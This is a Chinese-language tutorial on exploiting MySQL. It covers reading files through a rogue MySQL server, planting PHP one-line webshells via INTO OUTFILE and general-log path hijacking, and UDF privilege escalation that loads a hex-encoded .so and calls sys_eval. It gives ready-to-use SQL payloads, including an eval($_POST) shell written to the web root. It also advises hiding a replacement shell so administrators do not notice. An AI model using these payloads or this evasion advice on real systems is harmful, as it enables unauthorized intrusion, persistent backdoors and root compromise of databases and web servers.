1.MySQL远程读取文件漏洞
场景介绍:当靶机拥有连接数据库功能时,我们在自己服务器上开启数据库服务,下载脚本
监听脚本
用python2运行
至于读取什么文件就更改filelist就可以了。
这里要注意靶机连接上后要执行一次命令才会交互发送消息过来。
2.MySQL几种写马方式
1.基于直接写入根目录
show global variables like '%secure%';
适用场景:
1.secure_file_priv设置为空;
2.有文件可写权限
select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"
知识点拓展
> outfile和dumpfile的区别
outfile:
1、 支持多行数据同时导出
2、 使用union联合查询时,要保证两侧查询的列数相同
3、 会在换行符制表符后面追加反斜杠
4、会在末尾追加换行
dumpfile:
1、 每次只能导出一行数据
2、 不会在换行符制表符后面追加反斜杠
3、 不会在末尾追加换行
因此,我们可以使用into dumpfile这个函数来顺利写入二进制文件;
当然into outfile函数也可以写入二进制文件,只是最终无法生效罢了(追加的反斜杠会使二进制文件无法生效)
如果服务器端本身的查询语句,结果有多行,但是我们又想使用dump file,应该手动添加 limit 限制
2.日志写入
第一步:
show variables like '%general%';
查看日志位置和权限
开启监测:
set global general_log = on;
第二步:设置路径
set global general_log_file = ‘/var/www/html/1.php’;
第三步:写马
查询一个一句话木马:(这时log日志里就会记录这个一句话木马。)
select ‘<?php eval($_POST[‘NYG’]);?>’;
拓展攻击:
慢查询补充
因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。 一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。
如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中
show global variables like '%long_query_time%'
–查看服务器默认时间值
通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉拿到shell后上传一个新的shell,删掉原来shell,新shell做隐藏,这样shell可能还能活的时间长些
像这种东西还是比较适合那些集成环境,比如,appserv,xampp…因为权限全部都映射到同一个系统用户上了,如果是win平台,权限通常都比较高
其它方法:通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,找上传点 GetShell
三.udf提权拿到root权限
当没法利用以上方法时,就可以使用这个方法
第一步:
show global variables like '%plugin%';
plugin_dir
选项用于指定插件目录
将有毒的so文件写进插件里就会自动进行加载
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
这里so文件如何获取,可以到sqlmap里面的|data\udf\mysql里面找有分类好的
或是网上搜寻一下
so文件
这里的十六进制怎么获取呢?可以利用 MySQL 自带的 hex 函数来编码:
直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:
SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt';
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';
可以看到
提供一个脚本收纳
好东西
第二步
创建函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
使用
select sys_eval('env');